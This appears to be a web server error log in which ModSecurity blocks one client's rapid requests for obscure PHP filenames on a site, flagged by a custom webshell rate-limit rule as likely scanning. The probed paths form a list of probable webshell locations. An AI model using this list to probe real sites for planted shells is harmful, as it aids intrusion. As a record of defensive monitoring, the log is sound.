[Sat Feb 28 19:03:48.975554 2026] [:error] [pid 52460:tid 52472] [client 20.91.194.140:37835] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7.php"] [unique_id "aaLLlLLWOogAgHGh62Qa0wAAAYk"]
[Sat Feb 28 19:03:50.211753 2026] [:error] [pid 39183:tid 39203] [client 20.91.194.140:22501] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7.php"] [unique_id "aaLLlhCf4HvhVePw3LaqagAAAAs"]
[Sat Feb 28 19:03:51.022784 2026] [:error] [pid 39184:tid 39221] [client 20.91.194.140:38351] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bes.php"] [unique_id "aaLLl1tZF9Zd_U7easB5RQAAAEI"]
[Sat Feb 28 19:03:52.641722 2026] [:error] [pid 39292:tid 39295] [client 20.91.194.140:21336] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bes.php"] [unique_id "aaLLmKIAO5fN7BxyqcFO2wAAAME"]
[Sat Feb 28 19:03:54.296497 2026] [:error] [pid 39292:tid 39318] [client 20.91.194.140:51627] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bes.php"] [unique_id "aaLLmqIAO5fN7BxyqcFO5QAAANg"]
[Sat Feb 28 19:03:57.222171 2026] [:error] [pid 39292:tid 39314] [client 20.91.194.140:38303] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bes.php"] [unique_id "aaLLnaIAO5fN7BxyqcFO6wAAANQ"]
[Sat Feb 28 19:03:58.993034 2026] [:error] [pid 22194:tid 22205] [client 20.91.194.140:22497] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadd.php"] [unique_id "aaLLnn6mbajs3bzQGyuKkgAAAUk"]
[Sat Feb 28 19:04:00.232626 2026] [:error] [pid 52460:tid 52484] [client 20.91.194.140:30465] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadd.php"] [unique_id "aaLLoLLWOogAgHGh62Qa_gAAAZU"]
[Sat Feb 28 19:04:01.471748 2026] [:error] [pid 49763:tid 49780] [client 20.91.194.140:29767] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadd.php"] [unique_id "aaLLobTHSOG_yf2PpqGV3AAAAc4"]
[Sat Feb 28 19:04:02.738804 2026] [:error] [pid 39292:tid 39311] [client 20.91.194.140:30481] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadd.php"] [unique_id "aaLLoqIAO5fN7BxyqcFO8QAAANE"]
[Sat Feb 28 19:04:04.348827 2026] [:error] [pid 39185:tid 39263] [client 20.91.194.140:38399] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vgtyu.php"] [unique_id "aaLLpBVE-FfM89u7BQaEYQAAAJE"]
[Sat Feb 28 19:04:05.255958 2026] [:error] [pid 11791:tid 11810] [client 20.91.194.140:21351] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vgtyu.php"] [unique_id "aaLLpWuX5e1Q32gqxH2gvQAAARE"]
[Sat Feb 28 19:04:06.256615 2026] [:error] [pid 39183:tid 39192] [client 20.91.194.140:37825] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vgtyu.php"] [unique_id "aaLLphCf4HvhVePw3LaqnAAAAAA"]
[Sat Feb 28 19:04:07.675523 2026] [:error] [pid 49763:tid 49785] [client 20.91.194.140:30512] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vgtyu.php"] [unique_id "aaLLp7THSOG_yf2PpqGV_gAAAdM"]
[Sat Feb 28 19:04:09.084025 2026] [:error] [pid 49763:tid 49773] [client 20.91.194.140:27708] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "aaLLqbTHSOG_yf2PpqGWBQAAAcc"]
[Sat Feb 28 19:04:10.683111 2026] [:error] [pid 11791:tid 11800] [client 20.91.194.140:51620] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "aaLLqmuX5e1Q32gqxH2gwgAAAQc"]
[Sat Feb 28 19:04:15.047854 2026] [:error] [pid 39183:tid 39199] [client 20.91.194.140:21341] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "aaLLrxCf4HvhVePw3LaqzQAAAAc"]
[Sat Feb 28 19:04:16.219876 2026] [:error] [pid 49763:tid 49785] [client 20.91.194.140:38319] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "aaLLsLTHSOG_yf2PpqGWMQAAAdM"]
[Sat Feb 28 19:04:18.618489 2026] [:error] [pid 39184:tid 39238] [client 20.91.194.140:20306] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "aaLLsltZF9Zd_U7easB5ngAAAFM"]
[Sat Feb 28 19:04:19.730775 2026] [:error] [pid 49763:tid 49778] [client 20.91.194.140:21328] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "aaLLs7THSOG_yf2PpqGWVQAAAcw"]
[Sat Feb 28 19:04:21.785331 2026] [:error] [pid 49763:tid 49776] [client 20.91.194.140:38326] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "aaLLtbTHSOG_yf2PpqGWagAAAco"]
[Sat Feb 28 19:04:23.478884 2026] [:error] [pid 49763:tid 49777] [client 20.91.194.140:21333] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "aaLLt7THSOG_yf2PpqGWdwAAAcs"]
[Sat Feb 28 19:04:25.320950 2026] [:error] [pid 39184:tid 39233] [client 20.91.194.140:20312] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c4.php"] [unique_id "aaLLuVtZF9Zd_U7easB5qwAAAE4"]
[Sat Feb 28 19:04:26.953404 2026] [:error] [pid 49763:tid 49783] [client 20.91.194.140:20331] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c4.php"] [unique_id "aaLLurTHSOG_yf2PpqGWjAAAAdE"]
[Sat Feb 28 19:04:48.239725 2026] [:error] [pid 39183:tid 39194] [client 20.91.194.140:44030] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq13.php"] [unique_id "aaLL0BCf4HvhVePw3LarVQAAAAI"]
[Sat Feb 28 19:04:49.221932 2026] [:error] [pid 11791:tid 11806] [client 20.91.194.140:18390] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq13.php"] [unique_id "aaLL0WuX5e1Q32gqxH2g4gAAAQ0"]
[Sat Feb 28 19:04:51.168910 2026] [:error] [pid 49763:tid 49786] [client 20.91.194.140:29774] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq13.php"] [unique_id "aaLL07THSOG_yf2PpqGXQQAAAdQ"]
[Sat Feb 28 19:04:52.560563 2026] [:error] [pid 49763:tid 49786] [client 20.91.194.140:38320] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq13.php"] [unique_id "aaLL1LTHSOG_yf2PpqGXUAAAAdQ"]
[Sat Feb 28 19:04:53.637679 2026] [:error] [pid 49763:tid 49789] [client 20.91.194.140:24386] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aaLL1bTHSOG_yf2PpqGXXwAAAdc"]
[Sat Feb 28 19:04:54.493175 2026] [:error] [pid 22194:tid 22208] [client 20.91.194.140:38383] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aaLL1n6mbajs3bzQGyuKrQAAAUw"]
[Sat Feb 28 19:04:55.273168 2026] [:error] [pid 49763:tid 49780] [client 20.91.194.140:29797] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aaLL17THSOG_yf2PpqGXfwAAAc4"]
[Sat Feb 28 19:04:56.293111 2026] [:error] [pid 49763:tid 49781] [client 20.91.194.140:18406] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aaLL2LTHSOG_yf2PpqGXmAAAAc8"]
[Sat Feb 28 19:04:58.035642 2026] [:error] [pid 39183:tid 39195] [client 20.91.194.140:43973] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/05.php"] [unique_id "aaLL2hCf4HvhVePw3LareQAAAAM"]
[Sat Feb 28 19:04:59.958878 2026] [:error] [pid 49763:tid 49770] [client 20.91.194.140:38356] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/05.php"] [unique_id "aaLL27THSOG_yf2PpqGXtQAAAcQ"]
[Sat Feb 28 19:05:01.059634 2026] [:error] [pid 49763:tid 49777] [client 20.91.194.140:18407] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/05.php"] [unique_id "aaLL3bTHSOG_yf2PpqGXxgAAAcs"]
[Sat Feb 28 19:05:04.042482 2026] [:error] [pid 39184:tid 39235] [client 20.91.194.140:23264] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/05.php"] [unique_id "aaLL4FtZF9Zd_U7easB6BwAAAFA"]
[Sat Feb 28 19:05:08.119194 2026] [:error] [pid 52460:tid 52478] [client 20.91.194.140:22500] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "aaLL5LLWOogAgHGh62Qb0AAAAY8"]
[Sat Feb 28 19:05:10.146822 2026] [:error] [pid 39185:tid 39270] [client 20.91.194.140:21330] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "aaLL5hVE-FfM89u7BQaEyQAAAJg"]
[Sat Feb 28 19:05:11.147409 2026] [:error] [pid 49763:tid 49767] [client 20.91.194.140:29815] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "aaLL57THSOG_yf2PpqGX-gAAAcE"]
[Sat Feb 28 19:05:13.192546 2026] [:error] [pid 52460:tid 52475] [client 20.91.194.140:43984] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "aaLL6bLWOogAgHGh62Qb5wAAAYw"]
[Sat Feb 28 19:05:16.605901 2026] [:error] [pid 52460:tid 52472] [client 20.91.194.140:58307] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aaLL7LLWOogAgHGh62QcBwAAAYk"]
[Sat Feb 28 19:05:19.023006 2026] [:error] [pid 39184:tid 39241] [client 20.91.194.140:29763] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aaLL71tZF9Zd_U7easB6IQAAAFY"]
[Sat Feb 28 19:05:20.491300 2026] [:error] [pid 39292:tid 39300] [client 20.91.194.140:29783] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aaLL8KIAO5fN7BxyqcFPtgAAAMY"]
[Sat Feb 28 19:05:22.268039 2026] [:error] [pid 52460:tid 52473] [client 20.91.194.140:18402] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aaLL8rLWOogAgHGh62QcLwAAAYo"]
[Sat Feb 28 19:05:24.978773 2026] [:error] [pid 39185:tid 39253] [client 20.91.194.140:21330] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "aaLL9BVE-FfM89u7BQaE0AAAAIc"]
[Sat Feb 28 19:05:26.248630 2026] [:error] [pid 49763:tid 49790] [client 20.91.194.140:46089] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "aaLL9rTHSOG_yf2PpqGYXQAAAdg"]
[Sat Feb 28 19:05:27.466918 2026] [:error] [pid 39184:tid 39230] [client 20.91.194.140:18429] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "aaLL91tZF9Zd_U7easB6PQAAAEs"]
[Sat Feb 28 19:05:29.686536 2026] [:error] [pid 49763:tid 49784] [client 20.91.194.140:46092] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "aaLL-bTHSOG_yf2PpqGYdQAAAdI"]
[Sat Feb 28 19:05:31.524902 2026] [:error] [pid 49763:tid 49788] [client 20.91.194.140:19938] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aaLL-7THSOG_yf2PpqGYewAAAdY"]
[Sat Feb 28 19:05:33.716452 2026] [:error] [pid 39183:tid 39204] [client 20.91.194.140:20296] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aaLL_RCf4HvhVePw3Las6gAAAAw"]
[Sat Feb 28 19:05:35.443903 2026] [:error] [pid 39183:tid 39192] [client 20.91.194.140:24422] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aaLL_xCf4HvhVePw3Las-wAAAAA"]
[Sat Feb 28 19:05:36.739775 2026] [:error] [pid 39183:tid 39210] [client 20.91.194.140:18408] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aaLMABCf4HvhVePw3LatDgAAABI"]
[Sat Feb 28 19:05:38.280279 2026] [:error] [pid 52460:tid 52475] [client 20.91.194.140:2469] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/iko.php"] [unique_id "aaLMArLWOogAgHGh62QcgwAAAYw"]
[Sat Feb 28 19:05:40.557525 2026] [:error] [pid 52460:tid 52479] [client 20.91.194.140:37837] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/iko.php"] [unique_id "aaLMBLLWOogAgHGh62QcngAAAZA"]
[Sat Feb 28 19:05:42.984288 2026] [:error] [pid 22194:tid 22209] [client 20.91.194.140:2458] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/iko.php"] [unique_id "aaLMBn6mbajs3bzQGyuLMQAAAU0"]
[Sat Feb 28 19:05:45.270793 2026] [:error] [pid 49763:tid 49787] [client 20.91.194.140:21649] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/iko.php"] [unique_id "aaLMCbTHSOG_yf2PpqGYrwAAAdU"]
[Sat Feb 28 19:06:08.934968 2026] [:error] [pid 39292:tid 39304] [client 20.91.194.140:19952] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rpk.php"] [unique_id "aaLMIKIAO5fN7BxyqcFP7QAAAMo"]
